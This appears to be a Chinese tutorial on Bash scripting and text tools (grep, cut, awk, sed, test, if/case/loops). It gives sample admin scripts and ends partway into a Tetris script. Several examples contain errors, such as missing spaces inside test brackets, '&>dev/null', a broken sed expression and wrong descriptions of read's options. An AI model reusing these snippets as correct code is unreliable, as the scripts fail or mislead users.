最后一次执行的命令的返回状态。如果这个变量的值为0,证明上一个命令正确执行;如果这个变量的值为非0(具体哪个数,由命令自己来决定),则证明上一个命令执行不正确。 $$ 当前进程的进程号(PID) $! 后台运行的最后一个进程的进程号(PID) 12345678910111213141516171819202122[root@192 sh]# ls 123ls: 无法访问123: 没有那个文件或目录[root@192 sh]# echo $?2# 示例:[root@192 sh]# vi variable.sh[root@192 sh]# chmod 755 variable.sh[root@192 sh]# variable.sh The current process is 62038The last one Daemon process is 62039[root@192 sh]# /root/sh/hello.sh#!/bin/bash#Author bykingecho "The current process is $$"#输出当前进程的PID#这个PID就是variable.sh这个脚本执行时,生成的进程的PIDfind /root -name hello.sh &#使用find命令在root目录下查找hello.sh文件#符号&的意思是把命令放入后台执行echo "The last one Daemon process is $!" 接收键盘输入12345678910111213141516171819202122232425262728293031323334[root@localhost ~]# read [选项] [变量名]选项: -p "提示信息":在等待read输入时,输出提示信息,read命令会一直等待用户输入,使用此选项可以指定等待时间 -n 秒数: read命令只接受指定的字符数,就会执行 -s: 隐藏输入的数据,适用于机密信息的输入#!/bin/bash# Author:布衣kingread -t 30 -p "Please input your name:" nameecho "Name is $name"read -s -t 30 -p "Please enter your age:" age#年龄是隐私,所以我们用“-s”选项隐藏输入echo -e " "echo "Age is $age"read -n 1 -t 30 -p "Please select your gender[M/F]:" sex#使用“-n 1”选项只接收一个输入字符就会执行(都不用输入回车)echo -e " "echo "Sex is $sex"#另一种#!/bin/bash# Author:布衣kingread -t 30 -p "Please input your name:" nameread -s -t 30 -p "Please enter your age:" age#年龄是隐私,所以我们用“-s”选项隐藏输入read -n 1 -t 30 -p "Please select your gender[M/F]:" sex#使用“-n 1”选项只接收一个输入字符就会执行(都不用输入回车)echo "Name is $name"echo -e " "echo "Age is $age"echo -e " "echo "Sex is $sex" Bash的数值运算和运算符数值运算123456[root@192 sh]# aa=11 [root@192 sh]# bb=22[root@192 sh]# cc=$aa+$bb[root@192 sh]# echo $cc 11+22#变量默认数据类型是字符串 declare声明变量类型123456789101112[root@localhost ~]# declare [+/-][选项] 变量名选项: -: 给变量设置类型属性 +: 取消变量的类型属性 -i: 将变量声明为整数型(integer) -x: 将变量声明为环境变量 -p: 显示指定变量的被声明的类型[root@192 sh]# declare -p aadeclare -- aa="11"[root@192 sh]# export aa[root@192 sh]# declare -p aadeclare -x aa="11"< /FONT> 数值运算——方法1123456[root@192 sh]# aa=11[root@192 sh]# bb=22#给变量aa和bb赋值[root@192 sh]# declare -i cc=$aa+$bb[root@192 sh]# declare -p ccdeclare -i cc="33" 方法2:expr或let数值运算工具1234567891011# expr英文:简单计算器[root@192 sh]$ aa=11[root@192 sh]$ bb=22#给变量aa和bb赋值[root@192 sh]$ dd= $(expr $aa+ $bb) #dd的值是aa和bb的和。注意“+”号左右两侧必须有空格,错误结果[root@192 sh]$ dd=$(expr $aa + $bb) #加空格后的结果 33[root@192 sh]$ echo $dd33[root@192 sh]$ dd=$(expr $aa+$bb) #没有加空格的结果 11+22[root@192 sh]$ echo $dd11+22 方法3:$((运算式))或$[运算式]123456[root@192 sh]# aa=11[root@192 sh]# bb=22[root@192 sh]# ff=$(($aa+$bb))[root@192 sh]# gg=$[$aa+$bb][root@192 sh]# echo $ff $gg33 33 运算符(数值越大优先级越高) 优先级 运算符 说明 13 -,+ 单目负、单目正 12 !,~ 逻辑非、按位取反或补码 11 *,/,% 乘、除、取模 10 +,- 加,减 9 <<,>> 按位左移,按位右移 8 <=,>=,<,> 小于或等于,大于或等于,小于,大于 7 ==,!= 等于、不等于 6 & 按位与 5 ^ 按位异或 4 | 按位或 3 && 逻辑与 2 || 逻辑或 1 =,+=,-=,*=,/=,%=,&=,^=,|=,<<=,>>= 赋值、运算且赋值 12345678[root@localhost ~]$ aa=$(((11+3)*3/2))#虽然乘和除的优先级高于加,但是通过小括号可以调整运算优先级[root@localhost ~]$ bb=$((14%3)) #14不能被3整除,余数是2[root@localhost ~]$ cc=$((1&&0))#逻辑与运算只有两边都是1,与的结果才是1,否则与的结果是0[yangmi@localhost ~]$ cc=$((2&&2))[yangmi@localhost ~]$ echo $cc1 Shell编程 Shell脚本是在Linux shell中执行的命令集合,用于自动化执行复杂或重复的任务。将命令写入脚本文件可简化操作并便于维护;建议将自定义脚本存放在/user/local/sbin/目录下以便管理和定时执行任务。 正则表达式正则表达式与通配符正则表达式用来在文件中匹配符合条件的字符串,正则是包含匹配。grep、awk、sed等命令支持正则表达式。 通配符用来匹配符合条件的文件名,通配符是完全匹配。ls、find、cp这些命令不支持正则表达式,所以只能使用shell自己的通配符来进行匹配(* ? [])。 基础正则表达式 元字符 作用 * 前一个字符匹配0次或任意多次 . 匹配除了换行符外任意一个字符 ^ 匹配行首。例如:^hello会匹配以hello开头的行 $ 匹配行尾。例如:hello$会匹配以hello结尾的行 [ ] 匹配中括号中指定的任意一个字符,只匹配一个字符。例如:[aoeiu]匹配任意一个元音字母,[0-9]匹配任意一位数字,[a-z][0-9]匹配小写字和一位数字构成的两位字符 [^] 匹配除中括号的字符以外的任意一个字符。例如:[^0-] \\ 转义符。用于取消将特殊符号的含义取消 \\{n\\} 表示其前面的字符恰好出现几次。例如:[0-9]{4}匹配4位数字,[1][3-8][0-9]\\{9\\}匹配手机号码 \\{n,\\} 表示其前面的字符出现不小于n次。例如:[0-9]\\{2,\\}表示两位以上的数字 \\{n,m\\} 表示其前面的字符至少出现n次,最多出现m次。例如:[a-z]\\{6,8\\}匹配6到8位的小写字母 test_rule.txt1234567891011Mr. Li Ming said:he was the honest man in Lampbrother.123despise him.But since Mr. shen Chao came,he never saaaid those words.5555nice!because,actuaaaally,Mr. Shen Chao is the most honest man!Later,Mr. Li ming soid his hot body. "*"前一个字符匹配0次或任意多次 1234567891011# 匹配所有内容,包括空白行[root@localhost kali]# grep "a*" test_rule.txt # 匹配至少包含有一个a的行[root@localhost kali]# grep "aa*" test_rule.txt # 匹配最少包含两个连续a的字符串[root@localhost kali]# grep "aaa*" test_rule.txt # 匹配最少包含四个连续a的字符串[root@localhost kali]# grep "aaaaa*" test_rule.txt .匹配除了换行符外任意一个字符 123456# "s..d"会匹配在s和d这两个字母之间一定 有两个字符的单词[root@localhost kali]# grep "s..d" test_rule.txt# 匹配在s和d字母之间的任意字符[root@localhost kali]# grep "s.*d" test_rule.txt# 匹配所有内容[root@localhost kali]# grep ".*" test_rule.txt 匹配行首/行尾^匹配行首,$匹配行尾 1234567# 匹配以大写M开头的行[root@localhost kali]# grep "^M" test_rule.txt # 匹配以小写n结尾的行[root@localhost kali]# grep "n$" test_rule.txt # 匹配空白行[root@localhost kali]# grep "^$" test_rule.txt [][ ]匹配中括号中指定的任意一个字符,只匹配一个字符 12345678# 匹配s和i字母中,要不是a,要不是o[root@localhost kali]# grep "s[ao]id" test_rule.txt# 匹配任意一个数字[root@localhost kali]# grep "[0-9]" test_rule.txt # 匹配用小写字母开头的行[root@localhost kali]# grep "^[a-z]" test_rule.txt [^][^]匹配除中括号的字符以外的任意一个字符 1234# 匹配不用小写字母开头的行[root@localhost kali]# grep "^[^a-z]" test_rule.txt# 匹配不用字母开头的行[root@localhost kali]# grep "^[^a-z A-Z]" test_rule.txt \\转义符12# 匹配使用“.”结尾的行[root@localhost kali]# grep "\\.$" test_rule.txt {n}{n}表示其前面的字符恰好出现几次 12345# 匹配a字母连续出现三次的字符串[root@localhost kali]$ grep "a\\{3\\}" test_rule.txt# 匹配a字母连续出现三次的字符串# 匹配包含连续的三个数字的字符串[root@localhost kali]$ grep "[0-9]\\{3\\}" test_rule.txt {n,}{n,}表示其前面的字符出现不小于n次 12# 匹配最少用连续3个数字开头的行[root@localhost kali]# grep "^[0-9]\\{3,\\}[a-z]" test_rule.txt {n,m}{n,m}匹配其前面的字符至少出现n次,最多出现m次 1[root@localhost kali]# grep "sa\\{1,3\\}i" test_rule.txt 字符截取命令cut字段提取命令1234567891011121314151617181920[root@localhost~]# cut [选项] 文件名选项: -f 列号: 提取第几列 -d分隔符: 按照指定分隔符分割列#示例:[root@localhost~]# vi student.txtID\tName\tPHP LINUX\tMYSQL\tAVERAGE1\tliming\t82 95 86 87.662\tsc 74 96 87 85.66 3\tgao 99 83 93 91.66 [root@localhost~]# cut -f 2 student.txt[root@localhost~]# cut -f 2,4 student.txt #提取第2列和第4列[root@localhost~]# cut -d ":" -f 1,3 /etc/passwd[root@localhost~]# cat /etc/passwd | grep /bin/bash | grep -v root | cut -d ":" -f 1#cut命令的局限(不是制表符,是空格符,无法分辨)[root@localhost~]# df -h | grep "sda5" #查看分区使用状况[root@localhost~]# df -h | cut -d " " -f 1,3 #查看分区使用状况 printf命令(awk中使用)12345678910111213141516171819202122printf '输出类型输出格式' 输出内容输出类型:%ns: 输出字符串。n是数字指代输出几个字符%ni: 输出整数。n是数字指代输出几个数字%m.nf: 输出浮点数。m和n是数字,指代输出的整数位数和小数位数。如%8.2f代表共输出8位数,其中2位是小数,6位是整数输出格式:\\a: 输出警告声音\\b: 输出退格键,也就是Backspace键\\f: 清除屏幕 : 换行\\r: 回车,也就是Enter键\\t: 水平输出退格键,也就是Tab键\\v: 垂直输出退格键,也就是Tab键#示例:[root@localhost~]# printf %s 1 2 3 4 5 6[root@localhost~]# printf %s %s %s 1 2 3 4 5 6[root@localhost~]# printf '%s %s %s' 1 2 3 4 5 6[root@localhost~]# printf '%s %s %s ' 1 2 3 4 5 6[root@localhost~]#cat student.txt | printf '%s' #没有结果输出[root@localhost~]#printf '%s' $(cat student.txt) #正确输出,变量赋值输出[root@localhost~]#printf '%s\\t %s\\t %s\\t %s\\t %s\\t %s ' $(cat student.txt) #调整格式输出 在awk命令的输出中支持print和printf命令 print:print会在每个输出之后自动加入一个换行符(Linux默认没有print命令) printf:printf是标准格式输出命令,并不会自动加入换行符,如果需要换行,需要手工加入换行符 awk命令比cut强大,awk是复杂的命令,可以经常编程,流程控制等 123456789# awk '条件1{动作1} 条件2{动作2}...' 文件名条件 (Pattern): 一般使用关系表达式作为条件 x>10 判断变量x是否大于10 x>=10 大于等于10 x<=10 小于等于10动作 (Action): 格式化输出 流程控制语句 注意:awk先读入第一行在开始处理 12345678910111213141516171819#示例:[root@localhost~]# awk '{printf $2 "\\t" $6 " "}' student.txt #不做任何条件执行动作,显示第2和6列[root@localhost~]# df -h | awk '{print $1 "\\t" $3 "\\t" $5}' #可以识别空格[root@localhost~]# df -h | grep sda5 | awk '{print $5}'| cut -d "%" -f 1 #提取使用了多少空间BEGIN #放到开头[root@localhost~]# awk 'BEGIN {printf "This is a transcript "} {printf $2 "\\t" $6 " "}' student.txt#BEGIN是条件,开始之前END #放到结尾[root@localhost~]# awk 'END {printf "This END "} {printf $2 "\\t" $6 " "}' student.txtFS内置变量[root@localhost~]# awk '{FS=":"}' {printf $1 "\\t" $3 " "} /etc/passwd[root@localhost~]# awk 'BEGIN{FS=":"}' {printf $1 "\\t" $3 " "} /etc/passwd[root@localhost~]# cat /etc/passwd | grep "/bin/bash" | awk 'BEGIN { FS=":"} {printf $1 "\\t" $3 " "}'关系运算符[root@localhost~]# cat student.txt | grep -v Name | awk '$6>=87 {printf $2 " "}' sed命令sed是一种几乎包括在所有UNIX平台(包括Linux)的轻量级流编辑器。sed主要是用来将数据进行选取、替换、删除、新增的命令。 123456789101112[root@localhost~]# sed [选项] '[动作]' 文件名选项: -n: 一般sed命令会把所有数据都输出到屏幕,如果加入此选项,则只会把经过sed命令处理的行输出到屏幕。 -e: 允许对输入数据应用多条sed命令编辑 -i: 用sed的修改结果直接修改读取数据的文件,而不是由屏幕输出动作: a\\: 追加,在当前行后添加一行或多行。添加多行时,除最后一行外,每行末尾需要用"\\"代表数据未完结。 c\\: 行替换,用c后面的字符串替换原数据行,替换多行时,除最后一行外,每行末尾需用"\\"代表数据未完结。 i\\: 插入,在当期行前插入一行或多行。插入多行时,除最后一行外,每行末尾需要用"\\"代表数据未完结。 d: 删除,删除指定的行。 p: 打印,输出指定的行。 s: 字串替换,用一个字符串替换另外一个字符串。格式位"行范围s/旧字串/新字串/g"(和vim中的替换格式类似)。 123456789101112131415示例:sed输出都不影响文件本身,只是影响屏幕输出行数据操作:[root@localhost~]# sed '2p' student.txt #查看文件的第2行[root@localhost~]# sed -n '2p' student.txt #查看文件的第2行[root@localhost~]# sed '2,4d' student.txt #删除第二行到第四行的数据,但不修改文件本身[root@localhost~]# df -h | sed -n '2p'[root@localhost~]# sed '2a hello' student.txt #在第二行后追加hello[root@localhost~]# sed '2i hello \\ world' student.txt #在第二行前插入两行数据[root@localhost~]# sed '2c No such person' student.txt #数据替换字符串替换:[root@localhost~]# sed 's/旧字串/新字串/g' 文件名[root@localhost~]# sed '3s/74/99/g' student.txt #在第三行中,把74换成99 [root@localhost~]# sed -i '3s/74/99/g' student.txt #sed操作的数据直接写入文件#[root@localhost~]# sed ie 's/Liming//g;s/Gao//g' student.txt #同时把Liming和Gao替换为空 字符处理命令排序命令sort123456789101112[root@localhost ~]#sort [选项] 文件名选项: -f: 忽略大小写 -n: 以数值型进行排序,默认使用字符串型排序 -r: 反向排序 -t: 指定分隔符,默认分隔符是制表符 -k n[,m] 按照指定的字段范围排序。从第n字段开始,m字段结束(默认到行尾)[root@localhost ~]#sort /etc/passwd #排序用户信息文件[root@localhost ~]#sort -r /etc/passwd #反向排序[root@localhost ~]#sort -t ":" -k 3,3 /etc/passwd #指定分隔符是“:”,用第三字段开头,第三字段结尾排序,就是只用第三字段排序。[root@localhost ~]#sort -n -t ";" -k 3,3 /etc/passwd 统计命令wc12345678[root@localhost ~]#wc [选项] 文件名选项: -l: 只统计行数 -w: 只统计单词数 -m: 只统计字符数[root@localhost ~]# wc /etc/passwd 43 87 2262 /etc/passwd 条件判断安装文件类型进行判断 测试选项 作用 -b 文件 判断该文件是否存在,并且是否为块设备文件(是块设备文件为真) -c 文件 判断该文件是否存在,并且是否为字符设备文件(是字符设备文件为真) -d 文件 判断该文件是否存在,并且是否为目录文件(是目录为真) -e 文件 判断该文件是否存在(存在为真) -f 文件 判断该文件是否存在,并且是否为普通文件(是普通文件为真) -L 文件 判断该文件是否存在,并且是否为符号链接文件(是符号链接文件为真) -p 文件 判断该文件是否存在,并且是否为管道文件(是管道文件为真) -s 文件 判断该文件是否存在,并且是否为非空(非空为真) -s 文件 判断该文件是否存在,并且是否为套接字文件(是套接字文件为真) 1234567891011# 两种判断格式(给程序看的)[root@localhost ~]# test -e /root/install.log # 前面和后面一定要有空格[root@localhost ~]# [ -e /root/kali/test_rule.txt ]# $?查看上一条命令是否正确,返回值是0代表正确,非0代表错误[root@localhost ~]# echo $?0# 命令执行顺序||[root@localhost ~]# [ -d /root ]&& echo "yes"||echo "no" yes 按照文件权限进行判断 测试选项 作用 -r 文件 判断该文件是否存在,并且是否该文件拥有读权限(有读权限为真) -w 文件 判断该文件是否存在,并且是否该文件拥有写权限(有写权限为真) -x 文件 判断该文件是否存在,并且是否该文件拥有执行权限(有执行权限为真) -u 文件 判断该文件是否存在,并且是否该文件拥有SUID权限(有SUID权限为真) -g 文件 判断该文件是否存在,并且是否该文件拥有SGID权限(有SGID权限为真) -k 文件 判断该文件是否存在,并且是否该文件拥有SBit权限(有SBit权限为真) 123[root@localhost ~]# [ -w /root/kali/test_rule.txt ]&& echo "yes"||echo "no"[root@localhost ~]# [ -w /root/kali/test_rule.txt ]&& echo yes||echo noyes 两个文件之间进行比较 测试选项 作用 文件1 -nt 文件2 判断文件1的修改时间是否比文件2的新(如果新则为真) 文件1 -ot 文件2 判断文件1的修改时间是否比文件2的旧(如果旧则为真) 文件1 -ef 文件2 判断文件1是否和文件2的inode号一致,可以理解为两个文件是否为同一个文件,这个判断用于判断硬链接是很好的方法 两个整数之间比较(针对程序脚本的) 测试选项 作用 整数1 -eq 整数2 判断整数1是否和整数2相等(相等为真) 整数1 -ne 整数2 判断整数1是否和整数2不相等(不相等为真) 整数1 -gt 整数2 判断整数1是否大于整数2(大于为真) 整数1 -lt 整数2 判断整数1是否小于整数2(小于为真) 整数1 -ge 整数2 判断整数1是否大于等于整数2(大于等于为真) 整数1 -le 整数2 判断整数1是否小于等于整数2(小于等于为真) 123456789# 判断整数23大于整数22[root@localhost ~]# [ 23 -gt 22 ]&& echo yes ||echo noyes# 判断23是否大于等于22[root@localhost ~]# [ 23 -ge 22 ]&& echo yes ||echo no# 判断23是否小于等于22 [root@localhost ~]# [ 23 -le 22 ]&& echo yes ||echo no 字符串的判断(常用的) 测试选项 作用 -z 字符串 判断字符串是否为空(为空返回真) -n 字符串 判断字符串是否为非空(非空返回真) 字串1==字串2 判断字符串1是否和字符串2相等(相等返回真) 字串1!=字串2 判断字符串1是否和字符串2不相等(不相等返回真) 123456789# 给name变量赋值[root@localhost ~]# name=sc# 判断name是否为空,因为不为空,所以返回no(写程序用的上)[root@localhost ~]# [ -z "$name" ]&& echo "yes"||echo "no"[root@localhost ~]# aa=11[root@localhost ~]# bb=22# 判断两个变量的值是否相等,明显不相等,所以返回no[root@localhost ~]# [ "$aa" == "$bb" ]&& echo "yes" ||echo "no"no 多重条件判断 测试选项 作用 判断1 -a 判断2 逻辑与,判断1和判断2都成立,最终的结果为真 判断1 -o 判断2 逻辑或,判断1和判断2有一个成立,最终的结果就为真 !判断 逻辑非,使原始的判断式取反 12345[root@localhost ~]# aa=11[root@localhost ~]# [ -n "$aa" -a "$aa" -gt 23 ]&& echo yes ||echo nono# 判断变量aa是否有值,同时判断变量aa的是否大于23# 因为变量aa的值不大于23,所以虽然第一个判断值为真,返回的结果也是假 Shell流程控制IF语句单分支if条件语句12345678if [条件判断式] ;then 程序fi或者if [条件判断式] then 程序fi 单分支条件语句需要注意几个点: if语句使用fi结尾,和一般语言使用大括号结尾不同 [条件判断式]就是使用test命令判断,所以中括号和条件判断式之间必须有空格 then后面跟符合条件之后执行的程序,可以放在[ ]之后,用“;”分割。也可以换行写入,就不需要“;”了 判断分区使用率123456789101112131415#!/bin/bash# 统计根分区使用率# Author: kalirate=$(df -h | grep "/dev/sda3" | awk '{print $5}' | cut -d "%" -f1) # 关键# 把根分区使用率作为变量值赋予变量rateif [$rate -ge 80] then echo "Warning! /dev/sda3 is full!!" fi # 此程序的写法# 这条命令可以执行就可以作为变量使用 df -h | grep "/dev/sda3" | awk '{print $5}' | cut -d "%" -f1 双分支if条件语句123456if [条件判断式] then 条件成立时,执行的程序 else 条件不成立时,执行的另一个程序fi 备份mysql数据库1234567891011121314151617181920212223242526#! /bin/bash# 备份mysql数据库# Author: kalintpdate asia.pool.ntp.org &>/dev/null# 同步系统时间date=$(date +%y%m%d)# 把当前系统时间按照“年月日”格式赋予变量datesize=$(du -sh /var/lib/mysql)# 统计mysql数据库的大小,并把大小赋予size变量if [ -d /tmp/dbbak] then echo "Date :$date!" > /tmp/dbbak/dbinfo.txt echo "Date size :$size" >> /tmp/dbbak/dbinfo.txt cd /tmp/dbbak tar -zcf mysql-lib-$date.tar.gz /var/lib/mysql dbinfo.txt &>dev/null #/var/lib/mysql目录可以直接换一个做测试 rm -rf /tmp/dbbak/dbinfo.txt else mkdir /tmp/dbbak echo "Date :$date!" > /tmp/dbbak/dbinfo.txt echo "Date size :$size" >> /tmp/dbbak/dbinfo.txt cd /tmp/dbbak tar -zcf mysql-lib-$date.tar.gz /var/lib/mysql dbinfo.txt &>dev/null rm -rf /tmp/dbbak/dbinfo.txtfi 判断apache是否启动12345678910111213#! /bin/bash# 判断apache是否启动# Author: kaliport=$(nmap -sT 192.168.1.156 | grep tcp | grep http | awk '{print $2}')#使用nmap命令扫描服务器,并截取apache服务的状态,赋予变量portif ["$port"=="port"] then echo "$(date) httpd is ok!" >>/tmp /autostart-acc.log else /etc/rc.d/init.d/httpd start &>/dev/null echo "$(date) restart httpd !!" >>/tmp/autostart-err.logfi 多分支if条件语句12345678910if [条件判断式1] then 当条件判断式1成立时,执行程序1elif [条件判断式2] then 但条件判断式2成立时,执行程序2...省略更多条件...else 当所有条件都不成立时,最后执行此程序fi 判断用户输入的是什么文件12345678910111213141516171819202122232425262728#!/bin/bash# 判断用户输入的是什么文件# Author: kaliread -p "Please input a filename: " file# 接收键盘的输入,并赋予变量file if [ -z "$file"]# 判断file变量是否为空 then echo "Error ,pleae input a filename" exit 1elif [ ! -e "$file"]# 判断file的值是否存在 then echo "Your input is not a file!" exit 2elif [ -f "$file"]# 判断file的值是否为普通文件 then echo "$file is a regulare file!"elif [ -d "$file"]# 判断file的值是否为目录文件 then echo "$file is a directory!"else echo "$file is an other file! "fi CASE语句多分支case条件语句(判断)case语句和if…elif…else语句一样都是多分支条件语句,不过和if多分支条件语句不同的是,case语句只能判断一种条件关系,而if语句可以判断多种条件关系。 123456789101112case $变量名 in "值1") 如果变量的值等于值1,则执行程序1 ;; "值2") 如果变量的值等于值2,则执行程序2 ;; ...省略其他分支... *) 如果变量的值都不是以上的值,则执行此程序 ;;esac 判断用户输入1234567891011121314151617181920212223242526272829303132333435363738394041示例1:#!/bin/bash# 判断用户输入# AuThor:kaliread -p "Please choose yes/no" -t 30 chocase $cho in "yes") echo "YOUR choose is yes!" ;; "no") echo "YOUR choose is no!" ;; *) echo "Your choose is error!" ;;esac示例2:#!/bin/bash# 输入123选择机票# AuThor:kaliecho 'you want to shanghai,plseas input "1"'echo 'you want to guangzhou,plseas input "2"'echo 'you want to chengdu,plseas input "3"' read -t 30 -p "Please input your chooise: " chocase $cho in "1") echo "上海的机票" ;; "2") echo "广州的机票!" ;; "3") echo "成都的机票!" ;; "*") echo "错误,输入1、2、3"esac FOR循环语法一1234for 变量 in 值1 值2 值3... do 程序 done 12345678910111213141516171819202122232425262728#!/bin/bash# 打印时间# AuThor:kalifor time in morning noon afternoon evening do echo "This time is $time!" done #!/bin/bash# 循环1到6# AuThor:kalifor i in 1 2 3 4 5 6 # 可以用变量替代 do echo $i done #!/bin/bash# 批量解压缩脚本# AuThor:kalicd /lampls *.tar.gz>ls.logfor i in $(cat ls.log) do tar -zxf $i &>/dev/null donerm -rf /lamp/ls.log 语法二:适用是否知道循环1234for ((初始值;循环控制条件;变量变化)) do 程序 done 1234567891011121314151617181920212223242526272829303132#!/bin/bash# 从1加到100# AuThor:kalis=0for ((i=1; i<=100; i=i+1)) do s= $(($s+$i)) #只有用双小括号数值才能运算 doneecho "The sum of 1+2+3...+100 is :$s" #!/bin/bash# 批量添加指定数量的用户# AuThor:kaliread -p "Please input user name: " -t 30 nameread -p "Please input the number of users: " -t 30 numread -p "Please input the password of users: " -t 30 passif[ ! -z "$name" -a ! -z "$num" -a ! -z "$pass"] then y=$(echo $num | sed's/^[0-9]*$'//g) if[ -z "$y"] then for((i=1;i<=$num;i=i+1)) do /usr/sbin/useradd $name$i &>/dev/null echo $pass | /usr/bin/passwd --stdin $name$i &>/dev/null #| passwd --stdin "$name$i"另一种写法 done fi fi WHILE循环和UNTIL循环while循环while循环是不定循环,也称作条件循环。只要条件判断式成立,循环就会一直继续,直到条件判断式不成立,循环才会停止。这就是和for的固定循环不太一样了。 语法1234while [ 条件判断式 ] do 程序 done 12345678910111213#!/bin/bash# 从1加到100# AuThor:kalii=1s=0while [$i -le 100]# 如果变量i的值小于等于100,则执行循环 do s=$(($s+$i)) i=$(($i+1)) doneecho "The sum is : "$s" until循环until循环,和while循环相反,until循环时只要条件判断式不成立则进行循环,并执行循环程序。一旦循环条件成立,则终止循环。 语法1234until [ 条件判断式 ] do 程序 done 12345678910111213#!/bin/bash# 从1加到100# AuThor:kalii=1s=0until [$i -gt 100]# 循环直到变量i的值大于100 就停止循环 do s=$(($s+$i)) i=$(($i+1)) doneecho "The sum is : "$s" Shell编程案例分析移动目录123456789101112#!/bin/bash# 编写shell脚本,把/root/目录下的所有目录(只需要一级)拷贝到/tmp/目录下;cd /root/for file in `ls`do if [ -d $file ] then mkdir /tmp/$file else continue fidone 输入整数12345678910111213141516171819202122#!/bin/bash# 编写shell脚本,要求输入一个正整数,然后计算出从1到输入数字的和,要求如果输入的数字小于1,则重新输入,直到输入正确的数字为止;while :doread -p "请输入一个正整数: " nif echo $n |grep -q '[^0-9]'then echo "你没有输入一个正整数!" continuefiif [ $n -lt 1 ]then echo "你没有输入大于1的数!" continuefifor i in `seq 1 $n` #1循环到$ndo j=$[$j+$i]doneecho $jexitdone 批量建立用户1234567891011121314#!/bin/bash# 批量建立用户user_00,user_01,...user_100并且所有用户同属于users组;for i in `seq 0 1 100`do if [ $i -lt 10 ] then useradd -g 100 user_0$i elif [ $i == 100 ] then useradd -g 100 user_100 else useradd -g 100 user_$i fi done 计算1-100的和123456#!/bin/bashfor i in `seq 1 100`do j=$[$j+$i]doneecho $j 获取随机数123456789101112131415161718192021222324252627282930#!/bin/bash# RANDOM随机函数,100取余就可以获得1-100的随机整数n=$[$RANDOM%100]while :doread -p "请输入一个1-100间的整数:" n1n2=`echo $n1|sed 's/[0-9]//g'`if [ ! -z $n2 ]then echo "你输入的不是1-100的整数!" continue fiif [ $n1 -gt 100 ] || [ $n1 == 0 ]then echo "请输入1-100的整数!" continue fiif [ $n1 == $n ]then echo "你猜对了!" breakelif [ $n1 -gt $n ]then echo "你输入的数字太大了!" continueelse echo "你输入的数字太小了!" continuefidone 乘法口诀表1234567891011#!/bin/bashfor i in `seq 1 9`do for j in `seq 1 $i` do k=$[$i*$j] # -n选项,不换行,-e使用制表符 echo -ne "$j""X""$i=$k\\t" done echodone 俄罗斯方块123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618#!/bin/bash # Tetris Game# 10.21.2003 xhchen<[email]xhchen@winbond.com.tw[/email]> #APP declarationAPP_NAME="${0##*[\\\\/]}"APP_VERSION="1.0" # 颜色定义cRed=1cGreen=2cYellow=3cBlue=4cFuchsia=5cCyan=6cWhite=7colorTable=($cRed $cGreen $cYellow $cBlue $cFuchsia $cCyan $cWhite) # 位置和大小iLeft=3iTop=2((iTrayLeft = iLeft + 2))((iTrayTop = iTop + 1))((iTrayWidth = 10))((iTrayHeight = 15)) # 颜色设置cBorder=$cGreencScore=$cFuchsiacScoreValue=$cCyan # 控制信号# 改游戏使用两个进程,一个用于接收输入,一个用于游戏流程和显示界面;# 当前者接收到上下左右等按键时,通过向后者发送signal的方式通知后者。sigRotate=25sigLeft=26sigRight=27sigDown=28sigAllDown=29sigExit=30 # 七中不同的方块的定义# 通过旋转,每种方块的显示的样式可能有几种box0=(0 0 0 1 1 0 1 1)box1=(0 2 1 2 2 2 3 2 1 0 1 1 1 2 1 3)box2=(0 0 0 1 1 1 1 2 0 1 1 0 1 1 2 0)box3=(0 1 0 2 1 0 1 1 0 0 1 0 1 1 2 1)box4=(0 1 0 2 1 1 2 1 1 0 1 1 1 2 2 2 0 1 1 1 2 0 2 1 0 0 1 0 1 1 1 2)box5=(0 1 1 1 2 1 2 2 1 0 1 1 1 2 2 0 0 0 0 1 1 1 2 1 0 2 1 0 1 1 1 2)box6=(0 1 1 1 1 2 2 1 1 0 1 1 1 2 2 1 0 1 1 0 1 1 2 1 0 1 1 0 1 1 1 2)# 所有其中方块的定义都放到box变量中box=(${box0[@]} ${box1[@]} ${box2[@]} ${box3[@]} ${box4[@]} ${box5[@]} ${box6[@]})# 各种方块旋转后可能的样式数目countBox=(1 2 2 2 4 4 4)# 各种方块再box数组中的偏移offsetBox=(0 1 3 5 7 11 15) # 每提高一个速度级需要积累的分数iScoreEachLevel=50 # be greater than 7 # 运行时数据sig=0 # 接收到的signaliScore=0 # 总分iLevel=0 # 速度级boxNew=() # 新下落的方块的位置定义cBoxNew=0 # 新下落的方块的颜色iBoxNewType=0 # 新下落的方块的种类iBoxNewRotate=0 # 新下落的方块的旋转角度boxCur=() # 当前方块的位置定义cBoxCur=0 # 当前方块的颜色iBoxCurType=0 # 当前方块的种类iBoxCurRotate=0 # 当前方块的旋转角度boxCurX=-1 # 当前方块的x坐标位置boxCurY=-1 # 当前方块的y坐标位置iMap=() # 背景方块图表 # 初始化所有背景方块为-1, 表示没有方块for ((i = 0; i < iTrayHeight * iTrayWidth; i++)); do iMap[$i]=-1; done # 接收输入的进程的主函数function RunAsKeyReceiver(){ local pidDisplayer key aKey sig cESC sTTY pidDisplayer=$1 aKey=(0 0 0) cESC=`echo -ne "\\033"` cSpace=`echo -ne "\\040"` # 保存终端属性。在read -s读取终端键时,终端的属性会被暂时改变。 # 如果在read -s时程序被不幸杀掉,可能会导致终端混乱, # 需要在程序退出时恢复终端属性。 sTTY=`stty -g` # 捕捉退出信号 trap "MyExit;" INT TERM trap "MyExitNoSub;" $sigExit # 隐藏光标 echo -ne "\\033[?25l" while : do # 读取输入。注-s不回显,-n读到一个字符立即返回 read -s -n 1 key 